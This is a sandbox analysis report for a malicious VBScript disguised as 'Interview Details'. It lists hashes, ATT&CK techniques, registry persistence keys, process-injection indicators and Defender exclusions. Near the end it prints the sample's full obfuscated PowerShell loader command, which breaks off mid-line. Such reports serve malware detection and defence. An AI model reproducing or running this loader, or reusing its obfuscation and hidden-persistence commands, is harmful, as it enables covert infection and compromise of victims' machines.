523b31dc7119fe79349ffda16f21baf75e5d4a421943764205effa6034160d24

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 18:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Interview%20Details.vbs
Size 88KB
Sample260818-wvlppsfl3w
SHA256 523b31dc7119fe79349ffda16f21baf75e5d4a421943764205effa6034160d24
MD5 766fa041a0141e20edda6bf63058eca7
SHA1 b623cf3d116817187b0d41c6bd4b54e0e7d2b8e7
SHA512 8f6344682edd5e5c97b126a5b04cb20d971e235858ddc071ddd0dbfa7024d851029eb49aef8ca6f20ce53500cf8c3ab02570982e68055d524f58ed467f2afe84
SSDEEP 1536:3rtFFFFFFFvKiGQSWDManfY6fFFFFFFFFFFFFFFFS:3rtFFFFFFFvfBSWDManfY6fFFFFFFFFw
TLSH
T185934926F8AB8504A1B29F4B8953F1B607BF7A1E2DBD848810CDD78A4BC3901D5517BF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	5908	powershell.exe
9	4092	powershell.exe
10	4092	powershell.exe
12	4092	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4884	powershell.exe
3672	powershell.exe
1384	powershell.exe
5908	powershell.exe
4092	powershell.exe
1140	powershell.exe
1352	powershell.exe
556	powershell.exe
5396	powershell.exe
2080	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5024	sever.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Drivers-Update-043 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\dfbld.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-519 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\dfbld.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost.exe = "C:\\Users\\Admin\\AppData\\Roaming\\sever\\sever.exe"	installutil.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-519 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\dfbld.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers-Update-519 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\dfbld.ps1\""	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5856	WScript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4092	powershell.exe
4092	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 556 set thread context of 5144	556	powershell.exe	128

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2288	cmd.exe
816	cmd.exe
5044	cmd.exe
1260	cmd.exe
5504	cmd.exe
5952	cmd.exe
1128	cmd.exe
1312	cmd.exe
1296	cmd.exe
5724	cmd.exe
4288	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sever.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 22 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5976	PING.EXE
5544	PING.EXE
5044	cmd.exe
1260	cmd.exe
2788	PING.EXE
1092	PING.EXE
4288	cmd.exe
2224	PING.EXE
1128	cmd.exe
1312	cmd.exe
3508	PING.EXE
4716	PING.EXE
5724	cmd.exe
5952	cmd.exe
5064	PING.EXE
2932	PING.EXE
816	cmd.exe
4912	PING.EXE
5504	cmd.exe
1580	PING.EXE
1296	cmd.exe
2288	cmd.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2668	ipconfig.exe
4464	ipconfig.exe

Runs ping.exe 1 TTPs 11 IoCs

Remote System Discovery

T1018

pid	Process
3508	PING.EXE
1092	PING.EXE
5976	PING.EXE
2224	PING.EXE
5544	PING.EXE
4912	PING.EXE
5064	PING.EXE
4716	PING.EXE
2932	PING.EXE
2788	PING.EXE
1580	PING.EXE

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
3672	powershell.exe
3672	powershell.exe
5908	powershell.exe
5908	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
4092	powershell.exe
4092	powershell.exe
1140	powershell.exe
4092	powershell.exe
1140	powershell.exe
1352	powershell.exe
1352	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
5396	powershell.exe
5396	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
2080	powershell.exe
2080	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
1384	powershell.exe
1384	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe
556	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
556	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	5908	powershell.exe
Token: SeDebugPrivilege	4092	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe
Token: SeTakeOwnershipPrivilege	4884	powershell.exe
Token: SeLoadDriverPrivilege	4884	powershell.exe
Token: SeSystemProfilePrivilege	4884	powershell.exe
Token: SeSystemtimePrivilege	4884	powershell.exe
Token: SeProfSingleProcessPrivilege	4884	powershell.exe
Token: SeIncBasePriorityPrivilege	4884	powershell.exe
Token: SeCreatePagefilePrivilege	4884	powershell.exe
Token: SeBackupPrivilege	4884	powershell.exe
Token: SeRestorePrivilege	4884	powershell.exe
Token: SeShutdownPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeSystemEnvironmentPrivilege	4884	powershell.exe
Token: SeRemoteShutdownPrivilege	4884	powershell.exe
Token: SeUndockPrivilege	4884	powershell.exe
Token: SeManageVolumePrivilege	4884	powershell.exe
Token: 33	4884	powershell.exe
Token: 34	4884	powershell.exe
Token: 35	4884	powershell.exe
Token: 36	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe
Token: SeTakeOwnershipPrivilege	4884	powershell.exe
Token: SeLoadDriverPrivilege	4884	powershell.exe
Token: SeSystemProfilePrivilege	4884	powershell.exe
Token: SeSystemtimePrivilege	4884	powershell.exe
Token: SeProfSingleProcessPrivilege	4884	powershell.exe
Token: SeIncBasePriorityPrivilege	4884	powershell.exe
Token: SeCreatePagefilePrivilege	4884	powershell.exe
Token: SeBackupPrivilege	4884	powershell.exe
Token: SeRestorePrivilege	4884	powershell.exe
Token: SeShutdownPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeSystemEnvironmentPrivilege	4884	powershell.exe
Token: SeRemoteShutdownPrivilege	4884	powershell.exe
Token: SeUndockPrivilege	4884	powershell.exe
Token: SeManageVolumePrivilege	4884	powershell.exe
Token: 33	4884	powershell.exe
Token: 34	4884	powershell.exe
Token: 35	4884	powershell.exe
Token: 36	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe
Token: SeTakeOwnershipPrivilege	4884	powershell.exe
Token: SeLoadDriverPrivilege	4884	powershell.exe
Token: SeSystemProfilePrivilege	4884	powershell.exe
Token: SeSystemtimePrivilege	4884	powershell.exe
Token: SeProfSingleProcessPrivilege	4884	powershell.exe
Token: SeIncBasePriorityPrivilege	4884	powershell.exe
Token: SeCreatePagefilePrivilege	4884	powershell.exe
Token: SeBackupPrivilege	4884	powershell.exe
Token: SeRestorePrivilege	4884	powershell.exe
Token: SeShutdownPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeSystemEnvironmentPrivilege	4884	powershell.exe
Token: SeRemoteShutdownPrivilege	4884	powershell.exe
Token: SeUndockPrivilege	4884	powershell.exe
Token: SeManageVolumePrivilege	4884	powershell.exe
Token: 33	4884	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 5856 wrote to memory of 3672	5856	WScript.exe	88
PID 3672 wrote to memory of 5908	3672	powershell.exe	91
PID 5908 wrote to memory of 4464	5908	powershell.exe	92
PID 5908 wrote to memory of 2668	5908	powershell.exe	93
PID 5908 wrote to memory of 5396	5908	powershell.exe	94
PID 5908 wrote to memory of 4204	5908	powershell.exe	95
PID 5908 wrote to memory of 4092	5908	powershell.exe	97
PID 4092 wrote to memory of 816	4092	powershell.exe	98
PID 816 wrote to memory of 4912	816	cmd.exe	99
PID 4092 wrote to memory of 5044	4092	powershell.exe	100
PID 4092 wrote to memory of 1260	4092	powershell.exe	101
PID 4092 wrote to memory of 5504	4092	powershell.exe	102
PID 4092 wrote to memory of 5952	4092	powershell.exe	103
PID 4092 wrote to memory of 1128	4092	powershell.exe	104
PID 4092 wrote to memory of 1312	4092	powershell.exe	105
PID 5044 wrote to memory of 5064	5044	cmd.exe	106
PID 1260 wrote to memory of 2788	1260	cmd.exe	107
PID 5952 wrote to memory of 3508	5952	cmd.exe	108
PID 5504 wrote to memory of 1580	5504	cmd.exe	109
PID 1128 wrote to memory of 4716	1128	cmd.exe	110
PID 1312 wrote to memory of 1092	1312	cmd.exe	111
PID 4092 wrote to memory of 1296	4092	powershell.exe	112
PID 4092 wrote to memory of 5724	4092	powershell.exe	113
PID 4092 wrote to memory of 4288	4092	powershell.exe	114
PID 4092 wrote to memory of 2288	4092	powershell.exe	115
PID 5724 wrote to memory of 5976	5724	cmd.exe	117
PID 1296 wrote to memory of 2224	1296	cmd.exe	116
PID 2288 wrote to memory of 2932	2288	cmd.exe	118
PID 4288 wrote to memory of 5544	4288	cmd.exe	119
PID 4092 wrote to memory of 4884	4092	powershell.exe	120
PID 4092 wrote to memory of 1140	4092	powershell.exe	122
PID 4092 wrote to memory of 1352	4092	powershell.exe	123
PID 4092 wrote to memory of 556	4092	powershell.exe	124
PID 4092 wrote to memory of 3340	4092	powershell.exe	126
PID 556 wrote to memory of 5144	556	powershell.exe	128
PID 556 wrote to memory of 5144	556	powershell.exe	128
PID 556 wrote to memory of 5144	556	powershell.exe	128
PID 556 wrote to memory of 5144	556	powershell.exe	128
PID 556 wrote to memory of 5144	556	powershell.exe	128
PID 556 wrote to memory of 5396	556	powershell.exe	131
PID 5396 wrote to memory of 2080	5396	powershell.exe	132
PID 5396 wrote to memory of 1384	5396	powershell.exe	133

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Interview%20Details.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c "$EbaYA ;$BnWKB ;$BnWKB = 'DQp' + '0' + 'cnl7DQo7JE' + ' + 9 + ' + 'jckptTC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoNj' + ' + A + ' + '4Mj' + ' + A + ' + 'wNCk7DQokclVwVndPQTUgPS' + ' + A + ' + 'xNTsNCjskWFY' + '0' + 'Ui' + ' + A + ' + '' + ' + 9 + ' + 'ICc1OTU' + '0' + 'N2IzZjcxNTQ1NTU1NTg1MzNmNzY1YzU3NzYzZjVjNjM2MDg3NWQ1MzU' + '0' + 'M2Y1YzYwN2E1YTU4NTI1MDc2NTg1NTgzNjI3MzY2NDQzZjcwNjY' + '0' + 'MDdiNWI3YTdiODQ3MzU2NjU4ODcxNDI1MTYzNjk2NzU5NDE3MDY2NWQ3YjcyODg' + '0' + 'NDVkNjg2NzU5ODk3MDU2NTU4MjY3NjM3ZTQ1NjU' + '0' + 'MjU5N2Y3MzU2NjU1OTcxN2Q2MDg5NWM3ODc2N2E2MzU1NzM4MjYwNDE' + '0' + 'MzgyNTg1MjYxNTk3MzU2ODc1MTYxNjI3YTRjJzsNCjsNCmZ1bmN' + '0' + 'aW' + ' + 9 + ' + 'uIExvYWRCdWZmZXI5NigkaCwgJHMpIHs7DQogIC' + ' + A + ' + 'gJHFxc2JjUHIgPS' + ' + A + ' + 'nJzsNCi' + ' + A + ' + 'gICBmb3IgKCRpID' + '0' + 'gMDsgJGkgLWx' + '0' + 'ICRoLkxlbmd' + '0' + 'aDsgJGkgKz' + '0' + 'gMikgezsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gW3ZvaWRdKCRpIC1ieG' + ' + 9 + ' + 'yIDMyKTsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gJGIgPSBbQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OlRvSW5' + '0' + 'MzIoJGguU3Vic3RyaW5nKCR' ;$EbaYA = 'pLC' + ' + A + ' + 'yKSwgMTYpOw' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'kcXFzYmNQci' + ' + A + ' + 'rPSBbY2hhcl' + '0' + 'oKCRiIC' + '0' + 'gJHMgKy' + ' + A + ' + 'yNTYpICUgMjU2KTsNCi' + ' + A + ' + 'gICB' + ' + 9 + ' + 'Ow' + '0' + 'KIC' + ' + A + ' + 'gIHJldHVybi' + ' + A + ' + 'kcXFzYmNQcjsNCn' + '0' + '7DQokTU' + '0' + 'wemZKcy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJChMb2FkQnVmZmVyOTYgJFhWNFIgJHJVcFZ3T' + '0' + 'E1KSkpOw' + '0' + 'KSW52b2tlLUNvbW1hbmQgKFtTY3JpcHRCbG' + ' + 9 + ' + 'ja1' + '0' + '6OkNy' + 'ZW' + 'F' + '0' + 'ZSgkTU' + '0' + 'wemZKcykpOw' + '0' + 'KDQp' + ' + 9 + ' + 'IGNhdGNoew' + '0' + 'KfQ' + '0' + 'KDQo7DQo7aXBjb25maWcgL3JlbGVhc2UgfCBPdXQtTnVsbDsNCjtpcGNvbmZpZy' + ' + A + ' + 'vcmVuZXcgfCBPdXQtTnVsbDsNCjtuZXRzaCB3aW5zb2NrIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQo7bmV' + '0' + 'c2ggaW5' + '0' + 'IGlwIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQoNClN' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDYgOw' + '0' + 'KDQpbU3lzdGVtLk5ldC5TZXJ2aWNlUG' + ' + 9 + ' + 'pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTIgLWJvciBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEzIDsNCg' + '0' + 'KOyRzbXl4SzsNCjtGdW5jdGlvbiBkV3ZMT3s7DQo7W2J5dGVbXV' + '0' + 'kRFZLWV' + ' + A + ' + 'gPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm' + ' + 9 + ' + 'tQmFzZTY' + '0' + 'U3RyaW5nKC' + ' + A + ' + 'kc215eEsgKTsNCjskZmpkTWYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZyggJERWS1lQICk7DQo7cmV' + '0' + 'dXJuICRmamRNZjsNCn' + '0' + '7DQoNCiRkV1dDTi' + ' + A + ' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3R2eXdiLnR4dCcpIDskaFJsYWkgPS' + ' + A + ' + 'nYUhSMGNITTZMeScgKy' + ' + A + ' + 'oJzloYiRfJF8kXyRfJF8kX1J5WldabGJHbHdaV1J2YiRfJF8kXyRfJF8kX' + '0' + 'Z6WTJsdFpURTNPRE' + '0' + '' + '0' + 'TicgLXJlcGxhY2UgLC' + ' + A + ' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + ' + A + ' + 'rICdqazFPVFE1TnpndU1qQXlNRE14TWk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlrUkZsd1ZGOHhOMTh3TjE5TlpYVnpYMkZ5Y1hWcGRtOXpYMFJsWDFSbGVIUnZMekF6TG5SNGRBPT' + '0' + 'nIDskc215eEsgPS' + ' + A + ' + 'kaFJsYWk7ICRoUmxhaS' + ' + A + ' + '' + ' + 9 + ' + 'IGRXdkxPIDskaFJsYWkgfCBPdXQtRmlsZS' + ' + A + ' + 'tRmlsZVBhdGggJGRXV' + '0' + 'NOIC1FbmNvZGluZy' + ' + A + ' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + ' + A + ' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + ' + A + ' + 'nYnp4eHcudHh' + '0' + 'JykgOyRxc2djaC' + ' + A + ' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRxc2djaC5FbmNvZGluZy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRxc2djaC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyRxc2djaC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRxc2djaC5Qcm' + ' + 9 + ' + '4eS' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskcXNnY2guUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskWkRyalYgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kZFdXQ' + '0' + '4gKS' + ' + A + ' + '7JFN6S3dWID' + '0' + 'gJHFzZ2NoLkRvd25sb2FkRGF' + '0' + 'YSggJFpEcmpWLlRyaW' + '0' + 'oKS' + ' + A + ' + 'pIDskeHRtZ3ggPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkU3pLd1YpIDskeHRtZ3ggPS' + ' + A + ' + 'oQChbcmVnZXhdOjpzcGxpdCgkeHRtZ3gsJ1wleCUrJykpWzFdKS5UcmltKCkgOyR4dG1neCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + ' + A + ' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + ' + A + ' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + ' + A + ' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7JGh3aHduICs' + ' + 9 + ' + 'ICckUkJCZlogPS' + ' + A + ' + 'oJydoIHQgdHBzIDogLy' + ' + A + ' + 'vJycuUmVwbGFjZSgnJy' + ' + A + ' + 'nJywgJycnJykgKy' + ' + A + ' + 'nJ2FuZHJlZmVsaXBlZG' + ' + 9 + ' + 'uYXNjaW1lMTc4Mzg2OTU5NDk3OC4yMDIwMzEyLm1ldXNpdGVob3N' + '0' + 'Z2F' + '0' + 'b3IuY2' + ' + 9 + ' + 'tLmJyLycnICsgJydkRFlwVF8xN18wN1' + ' + 9 + ' + 'NZXVzX2FycXVpdm' + ' + 9 + ' + 'zX' + '0' + 'RlX1RleHRvLycnICsgJydQZVllcycnKS' + ' + A + ' + '7Jy' + ' + A + ' + '7JGh3aHduICs' + ' + 9 + ' + 'ICckemdIb1cgPS' + ' + A + ' + 'nJyViYXNlNjQlTUM5RU5tOUJOVGcx' + 'ZW' + 'k5eUwzWmxaQzVsWlhSellY57eSdkx6cHpjSFIwYee3kj' + '0' + '' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + ' + A + ' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + ' + A + ' + 'sICcnQScnKS' + ' + A + ' + '7OyRjVEZ6Ti' + ' + A + ' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + ' + A + ' + 'rICcnbGljXCcnICsgJydienh4dy5' + '0' + 'eHQnJykgOyRxdmpmZC' + ' + A + ' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRod2h3bi' + ' + A + ' + 'rPS' + ' + A + ' + 'nJHF2amZkIC1yZXBsYWNlICcnICcnLC' + ' + A + ' + 'nJycnIDsnIDskaHdod24gKz' + '0' + 'gJ1tieXRlW11dJHBucXh' + '0' + 'ID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDskaHdod24gKz' + '0' + 'gJyRwbnF4dC' + ' + A + ' + '' + ' + 9 + ' + 'ICgkcXZqZmQgIC1zcGxpdC' + ' + A + ' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JGh3aHduICs' + ' + 9 + ' + 'ICckd21IeEcgPSBbU3lzdGVtLicgKy' + ' + A + ' + 'keFV' + '0' + 'R' + '0' + 'EgKy' + ' + A + ' + 'nLicgKy' + ' + A + ' + 'kSEl3WVogKy' + ' + A + ' + 'nXTo6Jy' + ' + A + ' + 'rICRTRGR3dy' + ' + A + ' + 'rICcoICRwbnF4dC' + ' + A + ' + 'pOycgOyRod2h3bi' + ' + A + ' + 'rPS' + ' + A + ' + 'nJGp' + '0' + 'VmxiID' + '0' + 'gJHdtSHhHLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + ' + A + ' + 'pOycgOyRod2h3bi' + ' + A + ' + 'rPS' + ' + A + ' + 'nJENTWXRVID' + '0' + 'gJGp' + '0' + 'VmxiLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + ' + A + ' + 'rICRzWUtVUi' + ' + A + ' + 'rICcoICRzdFdpbC' + ' + A + ' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + ' + A + ' + 'kemdIb1cgLC' + ' + A + ' + 'nJyV2VmxHeiUnJy' + ' + A + ' + 'sICcnRCBEREM6XFdpbmRvd3NcTWljcm' + ' + 9 + ' + 'zb2Z' + '0' + 'Lk5FVFxGcmFtJy' + ' + A + ' + 'rICdld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskdWpvblggPS' + ' + A + ' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + ' + A + ' + 'rICd4eHdxa18wMS5wczEnICkgOyRod2h3biB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kdWpvblggLWZvcmNlIDtTdGFydC1TbGVlcC' + ' + A + ' + 'tcy' + ' + A + ' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICR1am' + ' + 9 + ' + 'uWC' + ' + A + ' + '7Ow==' ;$EGWnp = ($BnWKB + $EbaYA) ;$EGWnp = $EGWnp.replace('''',$null) ;$EGWnp = $EGWnp.replace('+ ',$null) ;$EGWnp = $EGWnp.replace(' ',$null) ;Function HZhwO{;$hqDsO = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($EGWnp)) ;return $hqDsO ;};$oNxhz = HZhwO; $oNxhz = ($oNxhz -replace 